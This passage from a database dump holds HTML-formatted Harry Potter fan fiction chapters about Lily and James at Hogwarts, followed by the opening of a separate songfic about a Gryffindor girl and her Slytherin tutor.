up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; James woke up and forgot where he was for a moment.\nWhen he remembered, he saw that two different boys were sitting with him. &#8220;Who\nare you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m Sirius Black and this is Remus Lupin,&#8221; he said pointing\nto the boy next to him. &#8220;Hurry and put your robes on. We&#8217;re almost there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No biggie.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The trio got off the train laughing and cracking jokes. A\nteacher directed them to follow her to the castle. There they would be sorted\ninto their destiny. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(181, 3, '\n\n\n\n<p class="MsoNormal">~*Someday\nWe&#8217;ll Know*~ </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow. This place is awesome,&#8221; Lily said as she and the rest\nof the first years made their way up to their new &#8220;home away from home&#8221;. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey look at that ghost. What is he doing?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where? I don&#8217;t see him,&#8221; Lily was looking up while walking.\nShe didn&#8217;t notice that there were steps and she tripped and hit her knee. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;OH MY GOSH! LILY, ARE YOU OKAY? SOMEBODY HELP!&#8221; Susie\nyelled for help. A giant sized (half-giant sized to be exact) teacher made his\nway towards them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here. Lemme help yeh with that. Professor McGonagall, I&#8217;m\ngoing ter take this gerl up to the hospital wing.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How long is this going to take?&#8221; James whispered to Sirius\nanxiously. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know. I hope it doesn&#8217;t last forever. I&#8217;m hungry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah me too,&#8221; agreed Remus.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The three immature boys groaned as the Sorting Hat sang its\nfamous song. All they could think about was their mumbling stomachs. They\ndidn&#8217;t even care about what house they were going to be in. Psh&#8230;..boys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;GRYFFINDOR!&#8221; Susie made her way to the Gryffindor table.\nShe sat down next to all the clapping students.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;James Potter!&#8221; James sat on the stool, not really thinking\nabout anything, but his starving stomach. &#8220;GRYFFINDOR!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can go down to the feast now. They just started eating.\nYou will be sorted before you enter the Hall.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you. Madam Pompfrey. I&#8217;m sorry to have put you\nthrough all this trouble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, that&#8217;s okay, dear. I&#8217;m glad you were my first patient\nof the year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You must be Lily Evans. Well, welcome to Hogwarts. Now,\nsince you missed the original Sorting, we will sort you here. Then you will\nfollow me to the front of the hall and I will introduce you to your\nschoolmates. Any questions?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay. Let&#8217;s get started.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The doors of the Great Hall opened and Professor McGonagall\nmarched in smiling happily. Behind her paced Lily. James didn&#8217;t notice because\nhe was so indulged in his food. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am pleased to inform you all that we have another first\nyear student in Gryffindor. Her name is Lily Evans!&#8221; The students applauded\npolitely and Lily made her way to the seat next to Susie.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just as Lily&#8217;s name was being announced, James dropped his\ngoblet. He was in such a rush to clean it up that he didn&#8217;t notice what was\ngoing on around him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lily and James sat on opposite ends of the table. Therefore,\nthey didn&#8217;t recognize each other&#8217;s presence. They went about the feast happily\nand had a good nights sleep. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N PLEASE REVIEW!! PLEASE! I&#8217;VE HAD LIKE ONE REVIEW AND I\nKNOW THAT PEOPLE HAVE BEEN READING!! PLZ PLZ PLZ REVIEW!! I WONT SHUT UP UNTIL\nU REVIEW!! OR I WONT POST ANOTHER CHAPTER IF NO ONE REVIEWS!! *thinks to\nherself <i>that&#8217;s a good idea</i>* COME ON! I KNOW U WANNA!! REVIEW REVIEW REVIEW! lol</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(181, 4, '\n\n\n\n<p class="MsoNormal"><br>\n~*Someday We\'ll Know*~<br>\n<br>\nLily woke up feeling energized, tired, nervous, excited, home sick,\nindependent, and happy all at the same time. She had woken up long before\neverybody else. She got ready and decided to go downstairs in the common room\nand read a book while she waited.<br>\n<br>\n~*~<br>\n<br>\nAn hour after Lily began reading, everybody started to get out of bed. Most of\nthe students, like Lily, chose to remain in the common room until their friends\narrived. One of those students was James. He walked down the steps and saw a\nfamiliar shade of red hair. He thought he was still dreaming so he just ignored\nit. He sat on the other side of the room and started to play wizard\'s chess\nwith another Gryffindor.<br>\n<br>\n~*~<br>\n<br>\n&quot;Oi! James! Come on, let\'s go,&quot; shouted Sirius.<br>\n<br>\n&quot;And hurry up! I\'m starving.&quot; Remus yelled after.<br>\n<br>\n~*~<br>\n<br>\nLily heard someone shout the name James and she remembered her best friend. She\nbegan to think about him more often lately. She concluded that it was just\nbecause they weren\'t together every minute of the day. She smiled and came back\nto reality. Susie was tapping her shoulder, signaling that it was time to go\nfor breakfast.<br>\n<br>\n~*~<br>\n<br>\n&quot;Aw..those elves sure can make a better breakfast than my mum.&quot; Ugh!\nSirius and his darn food!<br>\n<br>\n&quot;Amen to that!&quot; James agreed.<br>\n<br>\nSirius suddenly dropped his fork and began to stare at something. James noticed\nthis and turned in the direction of Sirius\'s gaze.<br>\n<br>\nOH MY GOSH! WHAT THE HECK IS SHE DOING HERE! He thought.<br>\n<br>\n&quot;James?&quot;<br>\n<br>\nHe was caught.<br>\n<br>\n&quot;What are you doing here?&quot;<br>\n<br>\n&quot;Uh.I go to school here, Lil.&quot;<br>\n<br>\n&quot;Oh..duh. Well, I guess we don\'t go to different schools after all.&quot;<br>\n<br>\nLily sat down next to James and looked across the table at his gawking friend.<br>\n<br>\n&quot;What\'s up with him?&quot;<br>\n<br>\n&quot;Sirius. Earth to Sirius.&quot; Sirius was still in a daze.<br>\n<br>\n&quot;Dude, snap out of it!&quot; Remus hit Sirius in the head and went back to\neating.<br>\n<br>\n&quot;Huh?&quot;<br>\n<br>\n&quot;Uh.hi. I\'m Lily.&quot;<br>\n<br>\n&quot;I..I..I\'m.S-S.&quot;<br>\n<br>\n&quot;Sirius?&quot;<br>\n<br>\n&quot;Uh..yeah.YEAH. That\'s it.&quot;<br>\n<br>\n&quot;Nice to meet you.&quot;<br>\n<br>\n&quot;hehe yeah you to.&quot;<br>\n<br>\n~*~<br>\n<br>\n&quot;So, James, how did your parents react when you got your letter?&quot;\nLily asked as they walked to their next class.<br>\n<br>\n&quot;Uh..they weren\'t surprised. They knew I would be accepted to\nHogwarts,&quot; James wasn\'t sure if he should have said that.<br>\n<br>\n&quot;Oh. So when were you planning on telling me you\'re part of a wizarding\nfamily? When we graduated from the same school?!&quot; (do you graduate from\nHogwarts? Or do you just leave after your seventh year?&quot; her voice was so\nloud that it echoed throughout the corridors.<br>\n<br>\n&quot;Lils, look. I couldn\'t tell you. You would\'ve been way too freaked\nout,&quot; James was trying his best to calm her down.<br>\n<br>\n&quot;I\'M HERE AREN\'T I? You know what? Never mind. I thought I was your\nfriend. I thought you trusted me. I guess I assumed wrong,&quot; she walked\nfaster, trying to catch up with Susie and the rest of the Gryffindor girls.<br>\n<br>\n&quot;Ugh..what am I gonna do about her?&quot;<br>\n<br>\n&quot;Don\'t worry. I\'ll deal with her,&quot; Sirius said with a smug look on\nhis face.<br>\n<br>\n&quot;NO WAY! Just stay away from her, okay?!&quot;<br>\n<br>\n&quot;Ooooooohh. I get it,&quot; Sirius said, stopping the hurried stroll.\n&quot;James Potter has got the hots for Lily Evans.....No prob man. She\'s\nyours.&quot;<br>\n<br>\nJames let out a frustrated &quot;UUUGGGGHH!&quot; once more and said, &quot;I\ndon\'t fancy her!&quot; He walked away from Sirius and Remus.<br>\n<br>\n&quot;Dude, he totally digs her.&quot; Remus stated and headed for class.<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n\n\n\n\n\n'),
	(181, 5, '\n\n\n\n<p class="MsoNormal">~*Someday We\'ll Know*~<br>\n<br>\n&quot;..and that is how the dark arts began. There will be no homework assigned\ntonight. Class dismissed.&quot; (I have no idea what the teacher is\nsaying..just go along with it)<br>\n<br>\n&quot;That was the most boring thing I\'ve ever been through,&quot; Remus stated\nas the three wizards left the class.<br>\n<br>\n&quot;Tell me about it. My grandmother is more interesting than that,&quot;\nSirius agreed. &quot;What do you think, James? James?&quot;<br>\n<br>\n&quot;Huh? Uh...yeah. Real snoozer,&quot; James obviously was not listening.<br>\n<br>\n&quot;What\'s wrong with you do, dude?&quot;<br>\n<br>\n&quot;Uh...nothing. I was just thinking about..&quot;<br>\n<br>\n&quot;Lily.&quot; They all said together.<br>\n<br>\n&quot;Man, you got to stop thinking about her.&quot;<br>\n<br>\n&quot;Yeah, she\'s just a girl.&quot;<br>\n<br>\n&quot;No. She\'s not just a girl. She\'s my best friend. I hate it when she\'s mad\nat me.&quot;<br>\n<br>\n&quot;Oh brother. We got a wuss for friend,&quot; Sirius whispered to Remus.\nRemus nodded in agreement. &quot;Look, if you wanna apologize, go apologize.\nShe\'s right there.&quot; Sirius pointed to where Lily was standing.<br>\n<br>\n&quot;Fine. I guess I might as well get it over with.&quot; James walked\ntowards Lily slowly.<br>\n<br>\n&quot;Yeah and why you\'re there, why don\'t you ask her out too?&quot; Remus\ncalled after.<br>\n<br>\n&quot;Shut up!&quot;<br>\n<br>\n~*~<br>\n<br>\n&quot;Hey, Lil. Can we talk in private?&quot;<br>\n<br>\n&quot;I dunno. Are you gonna lie to me?....Yeah alright,&quot; Lily finally\ngave in when she saw the apologetic look on his face. They went into an empty\nclassroom and started speaking.<br>\n<br>\n&quot;Look. I\'m sorry okay? I should have told you. And I do trust you.&quot;<br>\n<br>\n&quot;You\'re forgiven,&quot; she said. &quot;And I\'m sorry for overreacting and\nblah blah blah.&quot;<br>\n<br>\n&quot;So...are we ok?&quot;<br>\n<br>\n&quot;Of course.&quot; She kissed him on the cheek and walked out of the old\nclassroom before he could say anything.<br>\n<br>\nJames softly touched his cheek and smiled.<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n\n\n\n\n\n'),
	(181, 6, '\n\n\n\n<p class="MsoNormal">~*Someday We\'ll Know*~<br>\n<br>\nThe gang\'s first, second, and third year at Hogwarts went by quickly and\nnormally. The boys called themselves the Marauders and a new recruit was added.\nHis name was Peter Pettigrew. He was she, never talked much, but they accepted\nhim all the same. The Marauders pulled pranks on teachers and other Houses\'\nstudents\' mostly-hardly ever on Lily or Susie though.<br>\n<br>\nBirthdays and holidays passed. Trips to Hogsmeade would come and go.\nAdolescence caught them off guard. Their years of childish games would\ndisappear they entered their fourth year older and ready to prepare for\nadulthood.<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n\n\n\n\n\n'),
	(181, 7, '\n\n\n\n<p class="MsoNormal"><br>\n~*Someday We\'ll Know*~<br>\n<br>\nLily walked up the now familiar path to Gryffindor Tower. She turned to another\ncorridor, stopped, and saw James talking with a Ravenclaw girl.<br>\n<br>\n&quot;So..you wanna go to Hogsmeade with me tomorrow?&quot;<br>\n<br>\n&quot;Uh.I would if I could. I have a DADA quiz tomorrow that I really have to\nstudy for.&quot;<br>\n<br>\nLily didn\'t want to barge in so she waited for both of them to leave before she\nentered the common room.<br>\n<br>\n~*~<br>\n<br>\nLily sat by the fire. She sat on a chair with her legs dangling off the side of\nthe armrest while reading a new book on the history of Hogwarts. She felt\nsomeone tap her shoulder and she titled her head upside down, letting her hair\ntouch the ground, to see who it was.<br>\n<br>\n&quot;Hey, Lils,&quot; her best friend said.<br>\n<br>\nShe said her &quot;Lo&quot; and continued reading her book.<br>\n<br>\n&quot;Look. I\'m not going to Hogsmeade with anyone and you\'re not going to\nHogsmeade with anyone. So, why don\'t we just go together?&quot;<br>\n<br>\n&quot;How about...no,&quot; she said with attitude.<br>\n<br>\n&quot;What? Why not?&quot;<br>\n<br>\n&quot;Why don\'t you go with some other chick?&quot;<br>\n<br>\n&quot;They all turned me down.&quot;<br>\n<br>\n&quot;The only reason you want to go with me is so that you don\'t look like a\nloser alone.&quot;<br>\n<br>\n&quot;Of course. Why else would I ask you?&quot; Lily\'s face dropped. She\nstarted to get really pissed off. &quot;I.I.I.I mean, Since we are best friends\nand all it would be weird right?&quot;<br>\n<br>\n&quot;I dunno. We\'ve never gone out.&quot;<br>\n<br>\n&quot;Come on, Lil. Please?&quot; He tried hard to give his best puppy dog\nface.<br>\n<br>\n&quot;Fine,&quot; she said, giving in to persuasiveness. &quot;I\'ll make an\nappearance.&quot;<br>\n<br>\n&quot;Thanks. I owe you one,&quot; he kissed her forehead and walked away.<br>\n<br>\n&quot;More like \'I owe you another one,&quot; she whispered to herself.<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n\n\n\n\n\n'),
	(181, 8, '<p>~*Someday We\'ll Know*~<br/> <br/>\n The trip to Hogsmeade went well. James didn\'t look like a loser and Lily had fun with her best friend. Of course, all the girls ended up talking with James even thought they wouldn\'t go out with him, while Lily stood near by. Back at the common room, Lily and James played wizard\'s chess. Lily surprisingly won, considering she only learned a couple of years ago. They hang out for a few more hours before they went to bed for the night.<br/> <br/>\n ~*~<br/> <br/>\n Winter\'s breath could be felt in the air. Christmas was near and the classes were out. The gang decided to stay at Hogwarts while everyone else went home. They were looking forward to the less packed Tower.<br/> <br/>\n "I\'m hungry," Sirius said gloomily.<br/> <br/>\n "You\'re always hungry."<br/> <br/>\n "So?"<br/> <br/>\n The girls just looked at each other and said, "Boys."<br/> <br/>\n "What do you guys wanna do?"<br/> <br/>\n "I dunno. Lily and I are doing our nails. Why don\'t you go find something else to do?"<br/> <br/>\n The boys looked at each other and said, "Girls."<br/> <br/>\n "Shut up!" Susie threw a pillow at Peter.<br/> <br/>\n "You shut up!" He threw it back at her, but it hit Lily.<br/> <br/>\n "Why you little...." she threw it at James. The common room was in total chaos. Pillows were flying everywhere. Chairs were being knocked over. And the sound of laughing and screaming filled the room. The six teens fell on the floor, exhausted from their pillow fight.<br/> <br/>\n "That was fun," Remus said.<br/> <br/>\n "Duh!" The other five said and they each hit him with a pillow.<br/> <br/> !!'),
	(181, 9, '<p>~*Someday We\'ll Know*~<br/> <br/>\n "James, wake up! It\'s Christmas!" Lily ran out of the room shouting, "It\'s Christmas! It\'s Christmas!" She was obviously trying to wake everyone in the castle.<br/> <br/>\n "Gosh could she be louder?"<br/> <br/>\n "Yeah.but its CHRISTMAS!" Sirius ran out as excited as a kid in a candy store.<br/> <br/>\n ~*~<br/> <br/>\n "OH, LOOK AT THIS RING! Thanks, James." She hugged him tightly. He had given her a real emerald ring.<br/> <br/>\n "You\'re welcome. My mom gave me some extra money so I decided to get you a nice present."<br/> <br/>\n "OH! Thank you thank you thank you!" She hugged him again, not really wanting to let go.<br/> <br/>\n "Hey, look what my mom sent me," Sirius said, showing everyone the fireworks that were settled comfortably in the box.<br/> <br/>\n "Cool. I guess we can launch them tonight."<br/> <br/>\n "Yeah. That would be awesome."<br/> <br/>\n "Woo hoo! We\'re having a fireworks show!" Lily shouted.<br/> <br/>\n "Gawd. Can you lower the volume a little?"<br/> <br/>\n "WHAT?!" she yelled sarcastically.<br/> <br/>\n ~*~<br/> <br/>\n Night came and the crew decided to fire off the rockets. The only problem was that they didn\'t know how. Good one, huh?<br/> <br/>\n "How the heck is this supposed to work?" Peter asked. (Yes, I decided to give him a few lines)<br/> <br/>\n "I dunno. What\'s this for?" Remus questioned, holding the string at the end of the rocket.<br/> <br/>\n "Who cares? I think its just there for decoration."<br/> <br/>\n "No you idiots. It\'s used to launch it," Susie said matter-of-factly. "Look. Put the thing upright. Then you light the rope and GET OUT OF THE WAY."<br/> <br/>\n They moved away from their spots just as the missile left the ground.<br/> <br/>\n "You did it!" The boys screamed and took Susie onto their shoulders. They ran around the grounds screaming and yelling in awe, abandoning James and Lily.<br/> <br/>\n Lily stared in wonderment at the remarkable site. "Wow. That\'s wicked."<br/> <br/>\n "Yeah..." James mumbled as he stared at his best friend. She looked gorgeous. Her hair was glistening red as the night sky filled with magical sparkles. Lily felt eyes upon her and turned to look at her companion.<br/> <br/>\n "What?"<br/> <br/>\n "Nothing..nothing. It\'s just.."<br/> <br/>\n "What? Do I have something on my face or something?"<br/> <br/>\n "No. It\'s just..you\'re beautiful."<br/> <br/>\n "Right. I bet you say that to all the girls who watch fireworks with you on Christmas night."<br/> <br/>\n He turned her chin so that their eyes met.<br/> <br/>\n "No. Just you."<br/> <br/>\n Lily\'s cheeks turned scarlet. She let out a nervous laugh and continued watching the fireworks. (Sorry. I don\'t know any other words for fireworks!) "Was he just saying that or did he really mean it?" she thought.<br/> <br/>\n ~*~<br/> <br/>\n "This has been the best Christmas ever," Remus declared.<br/> <br/>\n "I totally and completely agree."<br/> <br/>\n "Well, I\'m exhausted so I\'m gonna go to bed," Lily yawned.<br/> <br/>\n James caught up to his friend. "Wait up, Lil. I need my beauty sleep. Night guys."<br/> <br/>\n "Night." They all voiced together.<br/> <br/>\n ~*~<br/> <br/>\n Lily and James walked in silence up the stairs until they reached the door to the girls\' dormitory.<br/> <br/>\n "Good night, James. Oh and thanks for the ring. I\'ll wear it everyday. I promise."<br/> <br/>\n "You\'re welcome. Night, Lils."<br/> <br/>\n She turned to open the door.<br/> <br/>\n "Wait. I forgot something," James said.<br/> <br/>\n "What did you.." Lily turned around and before she knew it, her lips had met James\'s. And everything was perfect. Nothing else mattered to them in those few seconds they shared.<br/> <br/>\n "..forget," she said as they pulled apart.<br/> <br/>\n "Happy Christmas," James breathed simply and walked away, leaving Lily shocked and content.<br/> <br/>\n "Y.Y..Y.You...too."<br/> !!'),
	(181, 10, ' <p>~*Someday We\'ll Know*~<br>\n\n\n<br>\n Classes began again. Word spread that Lily and James were together. There was proof too. You could see them walking around, hand-in-hand, acting like a real couple. There was also a rumor that a part-veela, part-American girl was coming to Hogwarts.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n One morning as the gang ate breakfast, Professor Dumbledore stood up to say something.<br>\n\n\n<br>\n &quot;I\'m sure most, or I should say all, of you have heard about the new girl coming to Hogwarts. She will be arriving here at noon today. She will be sorted and introduced to you then. Please give her a warm welcome. Thank you. You may return to you breakfast.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Noon came and the whole school seemed excited. Nobody ever transferred to Hogwarts in the middle of their fifth year. Everyone wanted to meet this new girl.<br>\n\n\n<br>\n When the students entered the Great Hall, they found that the Headmaster, the professors, and a new face had already been seated. Professor Dumbeldore greeted the students and announced. &quot;Please, everyone, take a seat . We shall begin the sorting momentarily.&quot;<br>\n\n\n<br>\n After most of the students were seated, the new girl introduced herself.<br>\n\n\n<br>\n &quot;Hi, y\'all. My name is Alexia Newton. I was born and raised in America. My mother is a veela and my father is British. I had to transfer to this school because my dad got a new job in the Ministry. I look forward to my experience here at Hogwarts.&quot;<br>\n\n\n<br>\n The students clapped politely.<br>\n\n\n<br>\n &quot;Now, for the Sorting.&quot;<br>\n\n\n<br>\n Alexia sat on the stool and put the Sorting Hat on. &quot;GRYFFINDOR!&quot;<br>\n\n\n<br>\n The Gryffindors applauded loudly.<br>\n\n\n<br>\n &quot;Wow. She\'s really pretty,&quot; Remus said.<br>\n\n\n<br>\n &quot;Yeah...&quot; Peter and Sirius agreed. Their drool was almost touching the floor.<br>\n\n\n<br>\n &quot;Come on guys.She\'s not that pretty,&quot; James seemed unusually uninterested in the part-veela. &quot;Lily\'s prettier.&quot;<br>\n\n\n<br>\n &quot;Thank you.&quot; She kissed him on the cheek and finished her breakfast.<br>\n\n\n<br>\n A/N PLEASE REVIEW!! I know that sometimes you just don&#8217;t feel like it, but it really helps me to know what my faults are as a writer! I&#8217;m not that good anyway, but still! REVIEW REVIEW REVIEW!! I know that there are people reading too! I HAVE HITS! SO ALL OF YOU WHO READ AND DON&#8217;T REVIEW&#8230;SHAME SHAME SHAME! lol I hate to repeat myself, but I&#8217;m gonna do it anyway: REVIEW REVIEW REVIEW!</p> '),
	(182, 1, '\n\n\n\n<p><b>My Story</b></p>\n\n<p>&nbsp;</p>\n\n<p>I knew him since I first stepped foot onto the grounds of school. He was\nstanding there with his friends. He looked stuck up and evil. Even then,\nthough, I knew it was all a cover. I knew he was really deeper than money and\nappearance. The look in his eyes told me that he was feeling lonely and\ntrapped.</p>\n\n\n\n<p><i>\n\nIn a trap</i></p>\n\n\n\n<p><i>\n\nTrip I can\'t grip</i></p>\n\n\n\n<p><i>\n\nNever thought I\'d be the one who\'d slip</i></p>\n\n\n\n<p><i>\n\nThen I started to realize</i></p>\n\n\n\n<p><i>\n\nI was living one big lie</i></p>\n\n\n\n<p>\n\nHe hated me. At least, that was what I assumed. He treated\nme unfairly and made me feel ashamed of my family name. He was cruel to my\nbrothers and their friends. Hell, he was cruel to everyone.</p>\n\n\n\n<p><i>\n\nCan\'t you just pretend to be nice?</i></p>\n\n\n\n<p><i>\n\nCan you at least pretend to be nice?</i></p>\n\n\n\n<p><i>\n\nIf you could just pretend to be nice,</i></p>\n\n\n\n<p><i>\n\nWell, everything in my life would be alright</i></p>\n\n\n\n<p>\n\nI saw him one day during the summer before my fifth year. He\nwas laughing and looked truthfully happy. I was shocked, of course. Then I\nrealized he was with his mother. She was tickling him and making jokes. I\nfigured that he must be really close to her.</p>\n\n\n\n<p style="line-height:200%"><i>\n\nI wonder how I ever made it through a day <br>\nHow did I settle for a world in shades of grey? <br>\nWhen you go in circles, all the scenery looks the same <br>\nAnd you don\'t know why <br>\nWhen I looked into your eyes <br>\nThe world stretched out in front of me <br>\nAnd I realized</i></p>\n\n\n\n<p>\n\nIn the first month of school, I signed up for a tutoring\nprogram. It was a program that let you get the advice you needed in a certain\nsubject and make a new friend. I needed help in Potions and I needed it badly.\nThere was nothing to lose so I signed up.</p>\n\n\n\n<p style="line-height:200%"><i>\n\nI don\'t care <br>\nCause I\'m still here <br>\nAnd I\'ve got nothing to lose</i></p>\n\n\n\n<p>\n\nDuring Muggle Studies class, they gave us a piece of paper\nthat told us who our tutors, or &quot;mates,&quot; would be. I was anxious and\nexcited and nervous all at the same time. When I read whom my tutor was, my jaw\ndropped. I was horrified. I could not believe that they had actually paired me\nup with HIM!</p>\n\n\n\n<p>\n\nI walked dreadfully to the Great Hall where I was to meet my\nnew mate. Please, him? My mate? Right. And pigs could fly. I sat at the\nGryffindor table and waited. And waited. And waited.</p>\n\n\n\n<p>\n\nI wasn\'t surprised when I was left all to myself in the\nGreat Hall. I was just about to leave when I saw a gleam of white blonde hair\nat the corner of my eye. I expected to see an angry smirk on his face, but when\nI turned to look at him, he had a nervous grin. I laughed to myself and greeted\nhim.</p>\n\n\n\n<p><i>\n\nbut it\'s not my kinda scene oh yeah</i></p>\n\n\n\n<p><i>\n\nfootprints on the other side</i></p>\n\n\n\n<p><i>\n\nremind me where i\'ve been oh yeah</i></p>\n\n\n\n<p><i>\n\ni\'ll watch from the other side</i></p>\n\n\n\n<p>\n\nHe told me that he would\'ve been there to meet me sooner,\nbut he was held up in Transfiguration. He had turned his book into a cow and he\nhad to help Professor clean up the mess it made. He asked if I wanted to go\nwith him to Hogsmeade and I, of course, gave in. I was hesitant but who could\nresist his puppy-dog eyes. He held out his arm and I took it. We walked to\nHogsmeade trying to acquaint ourselves better.</p>\n\n\n\n<p>\n\nThere we sat, drinking our butterbeers, tittering, with\npeople staring at us. I know it\'s unusual to see a Gryffindor with a Slytherin,\nbut, honestly, do they really have to gawk?</p>\n\n\n\n<p>\n\nI got to know him a lot more. I discovered I was right about\nhim after all. He was lonely and he did feel trapped. He was, like I said, very\nclose to his mum. When his father would yell and scold him for acting\nimproperly, his mum was there to comfort him and cheer him up.</p>\n\n\n\n<p><i>\n\nWhen you\'re all alone</i></p>\n\n\n\n<p><i>\n\nAnd you need a light</i></p>\n\n\n\n<p><i>\n\nSomeone to guide you</i></p>\n\n\n\n<p><i>\n\nThrough the night</i></p>\n\n\n\n<p><i>\n\nJust remember</i></p>\n\n\n\n<p><i>\n\nThat I am here</i></p>\n\n\n\n<p><i>\n\nTo hold you close and dry your tears</i></p>\n\n\n\n<p><i>\n\nJust when you thought you were falling</i></p>\n\n\n\n<p><i>\n\nYou know I\'ll always be right there</i></p>\n\n\n\n<p>\n\nI know it sounds cheesy and really fictional, but him and I\nbecame quick friends. I don\'t know why but we just clicked. Maybe because we\nboth are misunderstood. He\'s not just a &quot;rich prat with all the money and\nattention&quot;, and I wasn\'t just &quot;little angel that was innocent and\nfragile.&quot; Either that or we both have unusual hair.</p>\n\n\n\n<p>\n\nI asked him why he was so......nice all of a sudden. He said\nthat he was tired of acting like his father. He realized his father was really\nan ass and decided to act more like his mum-his sweet, gentle mum. He hated\nbeing known as the devil with money. He chose to change his reputation and be\nhimself, kind and thoughtful.</p>\n\n\n\n<p><i>\n\nMark me with ash until I\'m clean again</i></p>\n\n\n\n<p><i>\n\nCause I\'m so sick and tired</i></p>\n\n\n\n<p><i>\n\nOf being sick and tired</i></p>\n\n\n\n<p><i>\n\nI know I can love you, I know that I can</i></p>\n\n\n\n<p>\n\nAs we got closer and closer, people decided that &quot;Hey,\nthey\'re too close to be friends. They must be together.&quot; That is so\nuntrue. Why can\'t two people of the opposite sex just be friends? That\'s it.\nJust friends.</p>\n\n\n\n<p>\n\nAlthough........Alright, alright. You caught me. I have to\nadmit. He is pretty gorgeous. I mean, come on, how can you not be attracted to\na guy with a great body, beautiful eyes, and a smile that makes you want to\nmelt? Plus, he opened up to me. He told me all his secrets and I vice versa-I\neven told him the one thing that would make me fall for a guy....if he sang to\nme a romantic song to me that would make me want to kiss him right then and\nthere; extra points if he played the guitar. He was my ideal man. But..........</p>\n\n\n\n<p>\n\nI didn\'t want to tell him this. I didn\'t want to ruin our\nfriendship that was so precious to me, even if it was a short one. I\njust......I couldn\'t do it. My feelings weren\'t that major anyway. So, why get\nworked up over something that was almost nothing? Right? Wrong.</p>\n\n\n\n<p>\n\nOver time, my feelings got stronger and stronger. Every time\nI saw him, my stomach went aflutter. My hands became clammy and I was\ntongue-tied.</p>\n\n\n\n<p><i>\n\nI am ready for love,</i></p>\n\n\n\n<p><i>\n\nall of the joy and the pain</i></p>\n\n\n\n<p><i>\n\nand all the time that it takes</i></p>\n\n\n\n<p><i>\n\njust to stay in your good grace</i></p>\n\n\n\n<p>\n\nI couldn\'t look at him as my tutor anymore. He was my best\nfriend, my confidant, my one and only crush. He was my diary, my therapist, my\nsupport. When I was down, he helped me up. When I wept, he wiped my tears away.\nWhen I laughed, he made me cry.</p>\n\n\n\n<p>\n\nHe did so many of these things for me; yet, I never did any\nof these things for him. I never comforted him. I never cheered him up. I never\nhad to. He was like this rock that, I don\'t know, was never moved. Again, I was\ntotally wrong.</p>\n\n\n\n<p><i>\n\nI dare you to move</i></p>\n\n\n\n<p><i>\n\nI dare you to lift yourself up off the floor</i></p>\n\n\n\n<p><i>\n\nI dare you to move</i></p>\n\n\n\n<p><i>\n\nLike today never happened</i></p>\n\n\n\n<p>\n\nIt was a normal day. I woke up, got dressed, and walked down\nfor breakfast. I anticipated that I would see him eating breakfast at the\nSlytherin table with that witch drooling all over him. But, he 